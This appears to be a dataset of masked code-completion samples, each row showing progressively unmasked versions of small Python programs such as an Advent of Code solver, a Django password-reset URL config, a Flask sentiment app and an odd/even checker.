9,981 | c4bd55be86c1f55d89dfcbba2ccde4f3b132edcb | <mask token>
def find_edge(sensors, pos, dir):
x, row = pos
closer = []
for sensor in sensors.keys():
if manhat(pos, sensor) <= sensors[sensor]:
closer.append(sensor)
if dir > 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(
[x for x, y in closer])][0]
elif dir < 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(
[x for x, y in closer])][0]
if dir > 0:
if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point
)) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir
return find_edge(sensors, (new_x, row), dir)
elif dir < 0:
if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point
)) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir
return find_edge(sensors, (new_x, row), dir)
else:
raise Exception("This shouldn't be happening. We've gone too far!")
<mask token>
def part_two(data_in):
s = z3.Solver()
x = z3.Int('x')
y = z3.Int('y')
s.add(0 <= x)
s.add(x <= 4000000)
s.add(0 <= y)
s.add(y <= 4000000)
def z3_abs(x):
return z3.If(x >= 0, x, -x)
for line in data:
sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]
m = abs(sx - bx) + abs(sy - by)
s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)
s.check()
outx, outy = s.model()[x].as_long(), s.model()[y].as_long()
return outx * 4000000 + outy
<mask token>
| <mask token>
def manhat(point_one, point_two):
return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])
def find_edge(sensors, pos, dir):
x, row = pos
closer = []
for sensor in sensors.keys():
if manhat(pos, sensor) <= sensors[sensor]:
closer.append(sensor)
if dir > 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(
[x for x, y in closer])][0]
elif dir < 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(
[x for x, y in closer])][0]
if dir > 0:
if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point
)) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir
return find_edge(sensors, (new_x, row), dir)
elif dir < 0:
if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point
)) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir
return find_edge(sensors, (new_x, row), dir)
else:
raise Exception("This shouldn't be happening. We've gone too far!")
def no_beacon_row(sensors, beacons, row):
start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))
beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])
return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (
start_x, row), -1) - beacons_on_row + 1
def part_two(data_in):
s = z3.Solver()
x = z3.Int('x')
y = z3.Int('y')
s.add(0 <= x)
s.add(x <= 4000000)
s.add(0 <= y)
s.add(y <= 4000000)
def z3_abs(x):
return z3.If(x >= 0, x, -x)
for line in data:
sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]
m = abs(sx - bx) + abs(sy - by)
s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)
s.check()
outx, outy = s.model()[x].as_long(), s.model()[y].as_long()
return outx * 4000000 + outy
<mask token>
| <mask token>
def get_sensor_beacon(data_in):
sensors = {}
beacons = set()
for line in data_in:
s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))
sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)
beacons.add((b_x, b_y))
return sensors, beacons
def manhat(point_one, point_two):
return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])
def find_edge(sensors, pos, dir):
x, row = pos
closer = []
for sensor in sensors.keys():
if manhat(pos, sensor) <= sensors[sensor]:
closer.append(sensor)
if dir > 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(
[x for x, y in closer])][0]
elif dir < 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(
[x for x, y in closer])][0]
if dir > 0:
if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point
)) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir
return find_edge(sensors, (new_x, row), dir)
elif dir < 0:
if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point
)) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir
return find_edge(sensors, (new_x, row), dir)
else:
raise Exception("This shouldn't be happening. We've gone too far!")
def no_beacon_row(sensors, beacons, row):
start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))
beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])
return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (
start_x, row), -1) - beacons_on_row + 1
def part_two(data_in):
s = z3.Solver()
x = z3.Int('x')
y = z3.Int('y')
s.add(0 <= x)
s.add(x <= 4000000)
s.add(0 <= y)
s.add(y <= 4000000)
def z3_abs(x):
return z3.If(x >= 0, x, -x)
for line in data:
sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]
m = abs(sx - bx) + abs(sy - by)
s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)
s.check()
outx, outy = s.model()[x].as_long(), s.model()[y].as_long()
return outx * 4000000 + outy
with open('day15.txt', 'r') as f:
data = f.read().split('\n')
<mask token>
print('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000))
print('Part Two:', part_two(data))
| import re
import z3
digit_search = re.compile('\\-?\\d+')
def get_sensor_beacon(data_in):
sensors = {}
beacons = set()
for line in data_in:
s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))
sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)
beacons.add((b_x, b_y))
return sensors, beacons
def manhat(point_one, point_two):
return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])
def find_edge(sensors, pos, dir):
x, row = pos
closer = []
for sensor in sensors.keys():
if manhat(pos, sensor) <= sensors[sensor]:
closer.append(sensor)
if dir > 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(
[x for x, y in closer])][0]
elif dir < 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(
[x for x, y in closer])][0]
if dir > 0:
if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point
)) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir
return find_edge(sensors, (new_x, row), dir)
elif dir < 0:
if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point
)) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir
return find_edge(sensors, (new_x, row), dir)
else:
raise Exception("This shouldn't be happening. We've gone too far!")
def no_beacon_row(sensors, beacons, row):
start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))
beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])
return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (
start_x, row), -1) - beacons_on_row + 1
def part_two(data_in):
s = z3.Solver()
x = z3.Int('x')
y = z3.Int('y')
s.add(0 <= x)
s.add(x <= 4000000)
s.add(0 <= y)
s.add(y <= 4000000)
def z3_abs(x):
return z3.If(x >= 0, x, -x)
for line in data:
sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]
m = abs(sx - bx) + abs(sy - by)
s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)
s.check()
outx, outy = s.model()[x].as_long(), s.model()[y].as_long()
return outx * 4000000 + outy
with open('day15.txt', 'r') as f:
data = f.read().split('\n')
sensor_list, beacon_list = get_sensor_beacon(data)
print('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000))
print('Part Two:', part_two(data))
| import re
import z3
digit_search = re.compile('\-?\d+')
def get_sensor_beacon(data_in):
sensors = {}
beacons = set()
for line in data_in:
s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))
sensors[(s_x, s_y)] = abs(s_x - b_x) + abs(s_y - b_y)
beacons.add((b_x, b_y))
return sensors, beacons
def manhat(point_one, point_two):
return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])
def find_edge(sensors, pos, dir):
x, row = pos
closer = []
for sensor in sensors.keys():
if manhat(pos, sensor) <= sensors[sensor]:
closer.append(sensor)
if dir > 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max([x for x, y in closer])][0]
elif dir < 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min([x for x, y in closer])][0]
if dir > 0:
if pos[0] > edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir
return find_edge(sensors, (new_x, row), dir)
elif dir < 0:
if pos[0] < edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir
return find_edge(sensors, (new_x, row), dir)
else:
raise Exception("This shouldn't be happening. We've gone too far!")
def no_beacon_row(sensors, beacons, row):
start_x = int(sum([y for x,y in sensors.keys()])/len(sensors.keys()))
beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])
# print(start_x)
# print(beacons_on_row)
# print(find_edge(sensors, (start_x, row), 1), find_edge(sensors, (start_x, row), -1))
return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (start_x, row), -1) - beacons_on_row + 1
# airlifted and modified to fit from u/hugh_tc https://www.reddit.com/r/adventofcode/comments/zmcn64/2022_day_15_solutions/j0af5cy/
def part_two(data_in):
s = z3.Solver()
x = z3.Int("x")
y = z3.Int("y")
s.add(0 <= x)
s.add(x <= 4000000)
s.add(0 <= y)
s.add(y <= 4000000)
def z3_abs(x):
return z3.If(x >= 0, x, -x)
for line in data:
sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]
m = abs(sx - bx) + abs(sy - by)
s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)
s.check()
outx, outy = s.model()[x].as_long(), s.model()[y].as_long()
return outx * 4000000 + outy
with open("day15.txt" , "r") as f:
data = f.read().split('\n')
sensor_list, beacon_list = get_sensor_beacon(data)
print("Part One:", no_beacon_row(sensor_list, beacon_list, 2000000))
print("Part Two:", part_two(data))
| [
2,
4,
6,
8,
9
] |
9,982 | f6ebc3c37a69e5ec49d91609db394eec4a94cedf | <mask token>
| <mask token>
brick.sound.beep()
wait(1000)
motor_a.run_target(500, 720)
wait(1000)
brick.sound.beep(1000, 500)
| <mask token>
motor_a = Motor(Port.A)
brick.sound.beep()
wait(1000)
motor_a.run_target(500, 720)
wait(1000)
brick.sound.beep(1000, 500)
| from pybricks import ev3brick as brick
from pybricks.ev3devices import Motor, TouchSensor, ColorSensor, InfraredSensor, UltrasonicSensor, GyroSensor
from pybricks.parameters import Port, Stop, Direction, Button, Color, SoundFile, ImageFile, Align
from pybricks.tools import print, wait, StopWatch
from pybricks.robotics import DriveBase
motor_a = Motor(Port.A)
brick.sound.beep()
wait(1000)
motor_a.run_target(500, 720)
wait(1000)
brick.sound.beep(1000, 500)
| #!/usr/bin/env pybricks-micropython
from pybricks import ev3brick as brick
from pybricks.ev3devices import (Motor, TouchSensor, ColorSensor,
InfraredSensor, UltrasonicSensor, GyroSensor)
from pybricks.parameters import (Port, Stop, Direction, Button, Color,
SoundFile, ImageFile, Align)
from pybricks.tools import print, wait, StopWatch
from pybricks.robotics import DriveBase
# Write your program here
motor_a = Motor(Port.A)
brick.sound.beep()
wait(1000)
motor_a.run_target(500, 720) #500 degrees per second, 90 target angle
wait(1000)
brick.sound.beep(1000, 500) #frequency, duration
| [
0,
1,
2,
3,
4
] |
9,983 | 7e35c35c8ef443155c45bdbff4ce9ad07b99f144 | <mask token>
| <mask token>
urlpatterns = [path('', views.index, name='index'), path('sign', views.sign,
name='sign'), path('reset_password/', auth_views.PasswordResetView.
as_view(template_name='password_reset.html'), name='password_reset'),
path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view(
template_name='password_reset_sent.html'), name='password_reset_done'),
path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView.
as_view(template_name='password_reset_form.html'), name=
'password_reset_confirm'), path('reset_password_complete/', auth_views.
PasswordResetCompleteView.as_view(template_name=
'password_reset_done.html'), name='password_reset_complete')]
| from django.urls import path
from . import views
from django.contrib.auth import views as auth_views
urlpatterns = [path('', views.index, name='index'), path('sign', views.sign,
name='sign'), path('reset_password/', auth_views.PasswordResetView.
as_view(template_name='password_reset.html'), name='password_reset'),
path('reset_password_sent/', auth_views.PasswordResetDoneView.as_view(
template_name='password_reset_sent.html'), name='password_reset_done'),
path('reset/<uidb64>/<token>/', auth_views.PasswordResetConfirmView.
as_view(template_name='password_reset_form.html'), name=
'password_reset_confirm'), path('reset_password_complete/', auth_views.
PasswordResetCompleteView.as_view(template_name=
'password_reset_done.html'), name='password_reset_complete')]
| from django.urls import path
from . import views
from django.contrib.auth import views as auth_views
urlpatterns = [
path('',views.index,name='index'),
path('sign',views.sign,name='sign'),
# path('password_reset/',auth_views.PasswordResetView.as_view(),name='password_reset'),
# path('password_reset/done/',auth_views.PasswordResetDoneView.as_view(),name='password_reset_done'),
# path('reset/<uidb64>/<token>/',auth_views.PasswordResetConfirmView.as_view(),name='password_reset_confirm'),
# path('reset/done/',auth_views.PasswordResetCompleteView.as_view(),name='password_reset_complete'),
# path(
# 'change-password',
# auth_views.PasswordChangeView.as_view(
# template_name='common/change-password.html',
# success_url='/'
# ),
# name='change-password'
# ),
path('reset_password/',
auth_views.PasswordResetView.as_view(template_name="password_reset.html"),
name="password_reset" ),
path('reset_password_sent/',
auth_views.PasswordResetDoneView.as_view(template_name="password_reset_sent.html"),
name='password_reset_done'),
path('reset/<uidb64>/<token>/',
auth_views.PasswordResetConfirmView.as_view(template_name="password_reset_form.html"),
name='password_reset_confirm'),
path('reset_password_complete/',
auth_views.PasswordResetCompleteView.as_view(template_name="password_reset_done.html"),
name='password_reset_complete'),
] | null | [
0,
1,
2,
3
] |
9,984 | 119ebdf4c686c52e052d3926f962cefdc93681cd | def my_filter(L, num):
return [x for x in L if x % num]
print 'my_filter', my_filter([1, 2, 4, 5, 7], 2)
def my_lists(L):
return [range(1, x+1) for x in L]
print 'my_lists', my_lists([1, 2, 4])
print 'my_lists', my_lists([0])
def my_function_composition(f, g):
return {f_key: g[f_val] for f_key, f_val in f.items()}
print 'my_function_composition', my_function_composition({0:'a', 1:'b'}, {'a':'apple', 'b':'banana'})
def mySum(L):
current = 0
for x in L:
current = current + x
return current
def myProduct(L):
current = 1.0
for x in L:
current = current * x
return current
def myMin(L):
current = 0
for x in L:
current = x if x < current else current
return current
def myConcat(L):
current = ''
for x in L:
current = current + x
return current
def myUnion(L):
current = set()
for x in L:
current = current.union(x)
return current
print 'myUnion', myUnion([set([1, 2, 3]), set(['F', 'G', 'H']), set([3, 7, 9])])
| null | null | null | null | [
0
] |
9,985 | f229f525c610d9925c9300ef22208f9926d6cb69 | <mask token>
| <mask token>
def generateLog(ctime1, request_obj):
log_file.write(ctime1 + '\t')
log_file.write('Status code: ' + str(request_obj.status_code))
log_file.write('\n')
def is_internet():
"""Internet function"""
print(time.ctime())
current_time = time.ctime()
try:
r = requests.get('https://www.google.com/')
if r.status_code == 200:
print('Connection established successfully!')
else:
print('Error, try again')
except ConnectionError:
print(f'No internet connection, time: {time.ctime()}')
finally:
print('Generating log file...')
generateLog(current_time, r)
print('Exiting the program...')
<mask token>
while t < 30:
try:
is_internet()
except KeyboardInterrupt:
print('Keyboard Interrupt error ')
break
finally:
t += 1
log_file.close()
input()
| <mask token>
log_file = open('logfile.txt', 'w')
def generateLog(ctime1, request_obj):
log_file.write(ctime1 + '\t')
log_file.write('Status code: ' + str(request_obj.status_code))
log_file.write('\n')
def is_internet():
"""Internet function"""
print(time.ctime())
current_time = time.ctime()
try:
r = requests.get('https://www.google.com/')
if r.status_code == 200:
print('Connection established successfully!')
else:
print('Error, try again')
except ConnectionError:
print(f'No internet connection, time: {time.ctime()}')
finally:
print('Generating log file...')
generateLog(current_time, r)
print('Exiting the program...')
t = 0
while t < 30:
try:
is_internet()
except KeyboardInterrupt:
print('Keyboard Interrupt error ')
break
finally:
t += 1
log_file.close()
input()
| import requests
import time
log_file = open('logfile.txt', 'w')
def generateLog(ctime1, request_obj):
log_file.write(ctime1 + '\t')
log_file.write('Status code: ' + str(request_obj.status_code))
log_file.write('\n')
def is_internet():
"""Internet function"""
print(time.ctime())
current_time = time.ctime()
try:
r = requests.get('https://www.google.com/')
if r.status_code == 200:
print('Connection established successfully!')
else:
print('Error, try again')
except ConnectionError:
print(f'No internet connection, time: {time.ctime()}')
finally:
print('Generating log file...')
generateLog(current_time, r)
print('Exiting the program...')
t = 0
while t < 30:
try:
is_internet()
except KeyboardInterrupt:
print('Keyboard Interrupt error ')
break
finally:
t += 1
log_file.close()
input()
| #!python3
import requests
import time
log_file = open("logfile.txt", "w")
def generateLog(ctime1, request_obj):
log_file.write(ctime1 + "\t")
log_file.write("Status code: " + str(request_obj.status_code))
log_file.write("\n")
def is_internet():
"""Internet function"""
print(time.ctime())
current_time = time.ctime()
try:
r = requests.get("https://www.google.com/") # sends requests to google.com
if r.status_code == 200: # if ok, prints msg
print("Connection established successfully!")
else: # if not ok, prints msg
print("Error, try again")
# generateLog("logfile", current _time, r)
except ConnectionError: # if this error is enountered, it will print this message
print(f"No internet connection, time: {time.ctime()}")
finally:
print("Generating log file...")
# time.sleep(0.25)
generateLog(current_time, r) # calls the generateLog function
print("Exiting the program...")
t = 0
while t < 30:
try:
is_internet()
# time.sleep(10)
except KeyboardInterrupt:
print("Keyboard Interrupt error ")
break
finally:
t += 1
log_file.close()
input()
| [
0,
3,
4,
5,
6
] |
9,986 | 5a7e535f2ae585f862cc792dab77f2fe0584fddc | <mask token>
class TestWhatever(unittest.TestCase):
def test_compile(self):
self.assertEqual(WHATEVER.compile(), '*')
class TestOneOrMore(unittest.TestCase):
def test_compile(self):
self.assertEqual(ONE_OR_MORE.compile(), '+')
class TestFixedWidth(unittest.TestCase):
def test_compile(self):
self.assertEqual(FixedWidth(23).compile(), '{23}')
class TestRange(unittest.TestCase):
def test_compile(self):
self.assertEqual(Range((23, 27)).compile(), '{23,27}')
| <mask token>
class TestMultipler(unittest.TestCase):
<mask token>
def test__create__range(self):
self.assertIsInstance(Multiplier.create((23, 27)), Range)
<mask token>
<mask token>
class TestWhatever(unittest.TestCase):
def test_compile(self):
self.assertEqual(WHATEVER.compile(), '*')
class TestOneOrMore(unittest.TestCase):
def test_compile(self):
self.assertEqual(ONE_OR_MORE.compile(), '+')
class TestFixedWidth(unittest.TestCase):
def test_compile(self):
self.assertEqual(FixedWidth(23).compile(), '{23}')
class TestRange(unittest.TestCase):
def test_compile(self):
self.assertEqual(Range((23, 27)).compile(), '{23,27}')
| <mask token>
class TestMultipler(unittest.TestCase):
def test__create__fixed_width(self):
self.assertIsInstance(Multiplier.create(23), FixedWidth)
def test__create__range(self):
self.assertIsInstance(Multiplier.create((23, 27)), Range)
def test__create__multiplier(self):
self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)
self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)
<mask token>
class TestWhatever(unittest.TestCase):
def test_compile(self):
self.assertEqual(WHATEVER.compile(), '*')
class TestOneOrMore(unittest.TestCase):
def test_compile(self):
self.assertEqual(ONE_OR_MORE.compile(), '+')
class TestFixedWidth(unittest.TestCase):
def test_compile(self):
self.assertEqual(FixedWidth(23).compile(), '{23}')
class TestRange(unittest.TestCase):
def test_compile(self):
self.assertEqual(Range((23, 27)).compile(), '{23,27}')
| <mask token>
class TestMultipler(unittest.TestCase):
def test__create__fixed_width(self):
self.assertIsInstance(Multiplier.create(23), FixedWidth)
def test__create__range(self):
self.assertIsInstance(Multiplier.create((23, 27)), Range)
def test__create__multiplier(self):
self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)
self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)
def test__create__bad_argument(self):
self.assertRaises(ValueError, Multiplier.create, '1234')
class TestWhatever(unittest.TestCase):
def test_compile(self):
self.assertEqual(WHATEVER.compile(), '*')
class TestOneOrMore(unittest.TestCase):
def test_compile(self):
self.assertEqual(ONE_OR_MORE.compile(), '+')
class TestFixedWidth(unittest.TestCase):
def test_compile(self):
self.assertEqual(FixedWidth(23).compile(), '{23}')
class TestRange(unittest.TestCase):
def test_compile(self):
self.assertEqual(Range((23, 27)).compile(), '{23,27}')
| import unittest
from pattern.multiplier import Multiplier, FixedWidth, Range
from pattern.multiplier import WHATEVER, ONE_OR_MORE
class TestMultipler(unittest.TestCase):
def test__create__fixed_width(self):
self.assertIsInstance(Multiplier.create(23), FixedWidth)
def test__create__range(self):
self.assertIsInstance(Multiplier.create((23, 27)), Range)
def test__create__multiplier(self):
self.assertEqual(Multiplier.create(WHATEVER), WHATEVER)
self.assertEqual(Multiplier.create(ONE_OR_MORE), ONE_OR_MORE)
def test__create__bad_argument(self):
self.assertRaises(ValueError, Multiplier.create, '1234')
class TestWhatever(unittest.TestCase):
def test_compile(self):
self.assertEqual(WHATEVER.compile(), '*')
class TestOneOrMore(unittest.TestCase):
def test_compile(self):
self.assertEqual(ONE_OR_MORE.compile(), '+')
class TestFixedWidth(unittest.TestCase):
def test_compile(self):
self.assertEqual(FixedWidth(23).compile(), '{23}')
class TestRange(unittest.TestCase):
def test_compile(self):
self.assertEqual(Range((23, 27)).compile(), '{23,27}')
| [
8,
10,
12,
13,
15
] |
9,987 | 4f06eddfac38574a0ae3bdd0ea2ac81291380166 | <mask token>
| from .simulator import SpatialSIRSimulator as Simulator
from .util import Prior
from .util import PriorExperiment
from .util import Truth
from .util import log_likelihood
| null | null | null | [
0,
1
] |
9,988 | 2d7f7cb66480ecb8335949687854554679026959 | <mask token>
@app.route('/', methods=['POST'])
def func():
st = request.form['review']
if st == '':
return render_template('index.html')
english = spacy.load('en_core_web_sm')
result = english(st)
sentences = [str(s) for s in result.sents]
analyzer = vaderSentiment.SentimentIntensityAnalyzer()
sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]
if sentiment[0]['compound'] >= 0.05:
sent = 'Positive '
emoji = 128512
address = (
' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'
)
elif sentiment[0]['compound'] <= -0.05:
sent = 'Negative '
emoji = 128577
address = (
'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '
)
else:
sent = 'Neutral '
emoji = 128528
address = (
'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '
)
return render_template('output.html', sentence=st, sent=sent, emoji=
emoji, address=address)
@app.route('/fu.html')
def result():
return render_template('fu.html')
@app.route('/new.html')
def new():
return render_template('new.html')
<mask token>
| <mask token>
@app.route('/')
def hello():
return render_template('index.html')
@app.route('/', methods=['POST'])
def func():
st = request.form['review']
if st == '':
return render_template('index.html')
english = spacy.load('en_core_web_sm')
result = english(st)
sentences = [str(s) for s in result.sents]
analyzer = vaderSentiment.SentimentIntensityAnalyzer()
sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]
if sentiment[0]['compound'] >= 0.05:
sent = 'Positive '
emoji = 128512
address = (
' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'
)
elif sentiment[0]['compound'] <= -0.05:
sent = 'Negative '
emoji = 128577
address = (
'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '
)
else:
sent = 'Neutral '
emoji = 128528
address = (
'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '
)
return render_template('output.html', sentence=st, sent=sent, emoji=
emoji, address=address)
@app.route('/fu.html')
def result():
return render_template('fu.html')
@app.route('/new.html')
def new():
return render_template('new.html')
if __name__ == '__main__':
app.run(debug=True)
| <mask token>
app = Flask(__name__)
@app.route('/')
def hello():
return render_template('index.html')
@app.route('/', methods=['POST'])
def func():
st = request.form['review']
if st == '':
return render_template('index.html')
english = spacy.load('en_core_web_sm')
result = english(st)
sentences = [str(s) for s in result.sents]
analyzer = vaderSentiment.SentimentIntensityAnalyzer()
sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]
if sentiment[0]['compound'] >= 0.05:
sent = 'Positive '
emoji = 128512
address = (
' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'
)
elif sentiment[0]['compound'] <= -0.05:
sent = 'Negative '
emoji = 128577
address = (
'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '
)
else:
sent = 'Neutral '
emoji = 128528
address = (
'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '
)
return render_template('output.html', sentence=st, sent=sent, emoji=
emoji, address=address)
@app.route('/fu.html')
def result():
return render_template('fu.html')
@app.route('/new.html')
def new():
return render_template('new.html')
if __name__ == '__main__':
app.run(debug=True)
| import spacy
from vaderSentiment import vaderSentiment
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/')
def hello():
return render_template('index.html')
@app.route('/', methods=['POST'])
def func():
st = request.form['review']
if st == '':
return render_template('index.html')
english = spacy.load('en_core_web_sm')
result = english(st)
sentences = [str(s) for s in result.sents]
analyzer = vaderSentiment.SentimentIntensityAnalyzer()
sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]
if sentiment[0]['compound'] >= 0.05:
sent = 'Positive '
emoji = 128512
address = (
' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'
)
elif sentiment[0]['compound'] <= -0.05:
sent = 'Negative '
emoji = 128577
address = (
'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '
)
else:
sent = 'Neutral '
emoji = 128528
address = (
'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '
)
return render_template('output.html', sentence=st, sent=sent, emoji=
emoji, address=address)
@app.route('/fu.html')
def result():
return render_template('fu.html')
@app.route('/new.html')
def new():
return render_template('new.html')
if __name__ == '__main__':
app.run(debug=True)
| import spacy
from vaderSentiment import vaderSentiment
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/')
def hello():
return render_template('index.html')
@app.route('/',methods=['POST'])
def func():
st=request.form["review"]
if(st==''):
return render_template('index.html')
english = spacy.load("en_core_web_sm")
result = english(st)
sentences = [str(s) for s in result.sents]
analyzer = vaderSentiment.SentimentIntensityAnalyzer()
sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]
if(sentiment[0]['compound'] >= 0.05) :
sent="Positive "
emoji=128512
address=' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'
elif(sentiment[0]['compound'] <= - 0.05) :
sent="Negative "
emoji=128577
address='https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '
else :
sent="Neutral "
emoji=128528
address='https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '
return render_template('output.html', sentence=st, sent=sent, emoji=emoji, address=address)
@app.route('/fu.html')
def result():
return render_template('fu.html')
@app.route('/new.html')
def new():
return render_template('new.html')
if __name__ == '__main__':
app.run(debug=True)
| [
3,
5,
6,
7,
8
] |
9,989 | c513ad6ef12ae7be5d17d8d44787691cbc065207 | class Violation(object):
<mask token>
<mask token>
<mask token>
| class Violation(object):
def __init__(self, line, column, code, message):
self.line = line
self.column = column
self.code = code
self.message = message
<mask token>
<mask token>
| class Violation(object):
def __init__(self, line, column, code, message):
self.line = line
self.column = column
self.code = code
self.message = message
def __str__(self):
return self.message
<mask token>
| class Violation(object):
def __init__(self, line, column, code, message):
self.line = line
self.column = column
self.code = code
self.message = message
def __str__(self):
return self.message
def __repr__(self):
return 'Violation(line={}, column={}, code="{}", message="{}")'.format(
self.line, self.column, self.code, self.message)
| class Violation(object):
def __init__(self, line, column, code, message):
self.line = line
self.column = column
self.code = code
self.message = message
def __str__(self):
return self.message
def __repr__(self):
return 'Violation(line={}, column={}, code="{}", message="{}")'.format(
self.line, self.column, self.code, self.message)
| [
1,
2,
3,
4,
5
] |
9,990 | 382bc321c5fd35682bc735ca4d6e293d09be64ec | <mask token>
| <mask token>
if numero % 2 == 0:
p = numero
print(p, 'é um número par')
else:
i = numero
print(i, 'é um número ímpar')
| p = 0
i = 0
numero = int(input('Insira um número: '))
if numero % 2 == 0:
p = numero
print(p, 'é um número par')
else:
i = numero
print(i, 'é um número ímpar')
| #função: Definir se o número inserido é ímpar ou par
#autor: João Cândido
